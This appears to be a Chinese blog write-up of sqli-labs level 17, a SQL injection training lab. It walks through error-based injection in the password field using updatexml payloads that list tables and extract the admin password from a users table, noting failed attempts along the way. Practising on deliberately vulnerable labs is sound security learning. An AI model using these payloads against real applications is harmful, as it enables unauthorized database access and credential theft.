sqllib 17

思路大体不变,这边使用报错注入就对了,然后爆破数据库,数据表,数据列,数据,

对这边是在password中开始注入,username被处理了,在之前的关卡中在username和password中都是可以进行注入的,具体来看看源代码

出了一点点意外,这个只能返回一行,并且updatexml函数只能截取32位的数据,那看来要对查询语句进行限制

刚才的语句为

1
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'),0x7e),1)#

现在的语句是

1
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#

没想到啊,这边还有操作,百度搜了一下,看来我需要套个娃

1
1' and updatexml(1,concat(0x7e,(select username from (select table_name from information_schema.tables where table_schema='security' limit 3,1), where table_schema='security' 0x7e),1)#

还是不太行,对需要别名

1
1' and updatexml(1,concat(0x7e,(select username from (select table_name from information_schema.tables where table_schema='security' limit 3,1)aa), 0x7e),1)#

不是常量,绕过失败

上网搜了一下dalao的解法

1
1' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin')aa),0x5c),1))#

这边是知道了username去查询password,where username=’admin’可更换为limit 进行查询